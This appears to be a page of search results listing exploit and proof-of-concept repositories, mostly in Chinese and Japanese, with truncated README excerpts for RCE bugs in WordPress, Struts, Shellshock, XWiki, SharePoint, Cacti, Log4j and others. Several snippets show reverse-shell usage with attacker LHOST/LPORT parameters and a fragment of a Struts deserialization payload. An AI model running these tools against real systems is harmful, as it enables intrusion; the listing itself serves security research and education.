270314 matches found
CVE-2025-49029
🚨 WordPress Custom Login And Signup Widget 插件 🔥 基础分数： 9.1（严重） CWE ID： CWE-94 – 生成代码的控制不当（'代码注入'） 🧠 描述 该插件允许管理员通过设置页面中的发件人名称 字段修改 sn.php 的内容。 用户提供的输入被直接写入 PHP 文件 ，未经清理或验证。 因此，在 text 参数中提供的任何PHP代码都将被存储到PHP文件中，并在直接请求时执行，导致远程代码执行（RCE） 。 📍 漏洞端点 root@kitploit:...
CVE-2022-22947-pb-ai
CVE-2022-22947 Spring Cloud Gateway 漏洞验证应用 这是一个专门用于演示和验证 CVE-2022-22947 漏洞的 Spring Cloud Gateway 应用。该应用程序使用了易受攻击的 Spring Cloud Gateway 版本，可以通过 Actuator 端点执行任意代码。 漏洞概述 CVE-2022-22947 是 Spring Cloud Gateway 中的一个远程代码执行漏洞。攻击者可以通过 Actuator 端点动态添加包含恶意 SpEL 表达式的路由来执行任意代码。 环境要求 Java 11+ Maven 3.6+ macOS...
S2-052
CVE-2017-9805 （S2-052）リバースシェル Exploit 影響バージョン root@kitploit: Struts 2.1.2 - Struts 2.3.33, Struts 2.5 - Struts 2.5.12 Poc root@kitploit: Content-Type: application/xml 0 false 0 calc false java.lang.ProcessBuilder start foo foo false 0 0 false false 0 jdk.nashorn...
cgi-bin-shellshock
使用方法 克隆仓库（或直接复制粘贴你偏好的脚本） root@kitploit: sudo git clone https://github.com/Gurguii/shellshock.sh 运行脚本 Bash root@kitploit: bash shellshock.sh -u -h -p Python root@kitploit: python3 shellshock.py -u -lh -lp 注意：默认 LPORT 为 4444，URL 为必填项。如果只提供 URL，则执行 RCE；否则，它将针对给定的 lhost 和 lport 执行 RSHELL。...
CVE-2025-24893-Reverse-Shell
CVE-2025-24893 - XWiki リモートコード実行エクスプロイト CVE-2025-24893 の PoC – XWiki マクロリモートコード実行 Artemir のオリジナル PoC に触発されました 説明 これは、脆弱なバージョンの XWiki におけるリモートコード実行 RCE 脆弱性である CVE-2025-24893 の Proof-of-Concept PoC エクスプロイトです。 この欠陥は、SolrSearch エンドポイント内でのユーザー入力の不適切なサニタイズにあり、RSS フィードクエリを介してサンドボックス化されていない...
Awesome-RCE-techniques
Awesome RCE 技术 在各种应用上实现远程代码执行（RCE）技术的 Awesome 清单！ 项目目标 本项目的目标是提供一个开源知识库，收录在各种应用程序上实现远程代码执行（RCE）的所有技术。所有这些技术还附带一个测试环境（通常是 Docker 镜像），供你练习这些技术。 技术 Content-Management-Systems-CMS/ Drupal ：（3 种技术）/Drupal/ FuelCMS ：（1 种技术）/FuelCMS/ Joomla ：（1 种技术）/Joomla/ SweetRice ：（2 种技术）/SweetRice/ Typo3 ：（1...
Blackash-CVE-2025-53770
🧠 CVE-2025-53770：严重 SharePoint RCE 漏洞利用 ViewState 伪造实现远程代码执行 📌 漏洞概述 类型 : 远程代码执行（RCE） CVSS 评分 : 9.8（严重） 组件 : Microsoft SharePoint Server（本地部署） 根本原因 : 使用窃取的 ASP.NET machineKey（ValidationKey 和 DecryptionKey）对 ViewState 数据进行不安全反序列化 利用条件 : 无需身份验证 状态 : 已在野外被积极利用 披露日期 : 2025年7月19日 发现/报告方 : 多家安全厂商及政府应急响应...
cve-2023-5044
CVE-2023-5044 Ingress Nginx Exploit プルーフ・オブ・コンセプト これは、Ingress Nginx コントローラーの最近の CVE を悪用するための簡単な Go プログラムです。 この方法の詳細は、Rory McCune のブログ https://raesene.github.io/blog/2023/10/29/exploiting-CVE-2023-5044/ ですでに公開されています。このツールはプロセスを少し自動化し、エクスプロイトを整理して、より柔軟で汎用的なリモートコード実行ペイロードにします。 インストール root@kitploit: ...
Apache-2.4.49-2.4.50-Traversal-Remote-Code-Execution-Exploit
此存储库没有 README。...
solar-exploiting-log4j
🔥 Solar利用Log4j - TryHackMe演练 📌 房间: Solar利用Log4j 平台: TryHackMe 难度: 中等 主题: Log4Shell Log4j漏洞 🧠 目标 利用Log4j漏洞CVE-2021-44228获取远程代码执行并捕获旗帜。 🛠️ 使用的工具 Nmap Burp Suite cURL Netcat Python HTTP Server 🌐 第一步：侦察 🔍 扫描目标 root@kitploit: nmap -sC -sV 📌 发现 开放端口：80 HTTP，其他取决于房间 Web应用程序运行基于Java的后端 🌐 第二步：Web枚举...
cisco_asa_research
Investigación sobre Cisco ASA Este repositorio contiene diapositivas y código presentados en Black Hat USA 2022 y DEF CON 30. Se puede encontrar lo siguiente: Diapositivas Presentaciones de DEF CON 30 y Black Hat. La presentación de DEF CON es ligeramente más larga debido a un espacio de tiempo m...
CiscoExploit
CiscoExploit Cisco Scan IP/Port/HostName/Boot/Version https://www.cnblogs.com/k8gege/p/10679491.html CVE-2019-1821 Cisco Prime Infrastructure Remote Code Execution https://srcincite.io/blog/2019/05/17/panic-at-the-cisco-unauthenticated-rce-in-prime-infrastructure.html Cisco SNMP RCE...
CVE-2024-36401
CVE-2024-36401: GeoServer 未認証リモートコード実行 Exploiter: GeoServer 未認証リモートコード実行 CVE-2024-36401 の脆弱性検出・悪用ツール インストール root@kitploit: git clone https://github.com/RevoltSecurities/CVE-2024-36401.git cd CVE-2024-34102 pip install -r requirements.txt python3 exploiter.py --help テスト環境の構築: root@kitploit: sudo...
paracosme
Paracosme - CVE-2022-33318 - ICONICS Genesis64 中的远程代码执行 Paracosme 是我编写的一个内存破坏漏洞利用程序，用于攻击由 ICONICS 开发的 Genesis64 套件 v10.97.1，以实现远程代码执行。 该漏洞利用程序是在 S4x22 Conference 期间举行的 Pwn2Own 2022 Miami 竞赛上演示的。你可以通过 参加 Pwn2Own ICS 2022 Miami：利用 ICONICS Genesis64 中的零点击远程内存破坏 了解详情。 该问题在 CVSS 中评分为 9.8，并被分配为...
Cacti-CVE-2020-8813
Cacti-CVE-2020-8813 root@kitploit: 使い方: cactirce.py オプション オプション: -h, --help このヘルプメッセージを表示して終了 -u URL, --url=URL 必須 ターゲットURL 例: http://Cacti/ -l LHOST, --lhost=LHOST 必須 攻撃者のIPアドレス -p LPORT, --lport=LPORT デフォルト 443 攻撃者のIPポート 例: root@kitploit: python3 cactirce.py -u http://CACTI/ -l 192.168.x.x...
CVE-CVSS--CVE-2024-38063-IPv6-TCP-IP-Remote-Code-Execution-Analysis
🔐 CVE-2024-38063 — IPv6 TCP/IP リモートコード実行分析 📌 プロジェクト説明 このプロジェクトは、Microsoftが2024年8月13日のPatch Tuesday で開示した重大な脆弱性CVE-2024-38063 の技術的分析と実践的なデモンストレーション を提供します。 この脆弱性は、Windows TCP/IPスタック、特にカーネルドライバに実装されたIPv6コンポーネント に影響を与えます： C:\Windows\System32\drivers\tcpip.sys セキュリティ研究者のXiaoWei （Kunlun Lab...
cve-2025-62726-poc
CVE-2025-62726 POC - n8n Git Node RCE 教育目的 本文件是 CVE-2025-62726 的概念验证演示，作为课程项目的一部分，仅用于教育目的。 来自卡内基梅隆大学课程：2025 年秋季学期的 18-739 黑客与攻击安全课程 漏洞概述 CVE ID： CVE-2025-62726 严重程度： CVSS 8.8（高危） 受影响软件： n8n（工作流自动化平台） 受影响版本： 1.113.0 漏洞类型： 通过 Git 钩子实现远程代码执行 RCE CWE 分类： CWE-829（包含来自不受信任控制源的功能） 技术细节 工作原理 1. 攻击向量：...
Spring-Web-5xx-Mitigated-version
Spring-Web-5xx-Mitigated-version 概述 该 Spring Web（5.x.x）的缓解版本专门为应对多个供应商通过 Sonatype 和 Mend 检测到的严重漏洞而打造。这些漏洞依据 CVE-2016-1000027 公告进行标识，当使用 Spring Framework 4.1.4 对不受信任的数据进行 Java 反序列化时，存在远程代码执行（RCE）风险。需要特别指出，建议的解决方案是升级到 5.x.x 以上的版本，这要求使用 OpenJDK 17 或更高版本。然而，由于依赖 Sonatype 和 Mend 的各组织面临技术限制，通常需要继续使用...
cve-2025-55182-analysis
CVE-2025-55182 — React 服务端组件 RCE 分析 Web 应用程序漏洞分析 · M2 网络安全 · 2025 作者：Niane Mohamed · LinkedIn React 服务端组件中一个严重（CVSS 10.0）不安全反序列化漏洞的端到端利用链，涵盖从侦察到未授权远程代码执行的完整流程，并附带完整的修复路线图。 ⚠️ 道德免责声明 本研究针对一个刻意构建为易受攻击的实验室应用程序 ，用于演示该 CVE。所有测试均在隔离的虚拟网络 中进行，与生产系统、真实用户数据或第三方服务无任何连接。 请勿 对您不拥有或未获得明确书面授权测试的系统运行这些技术。 请勿...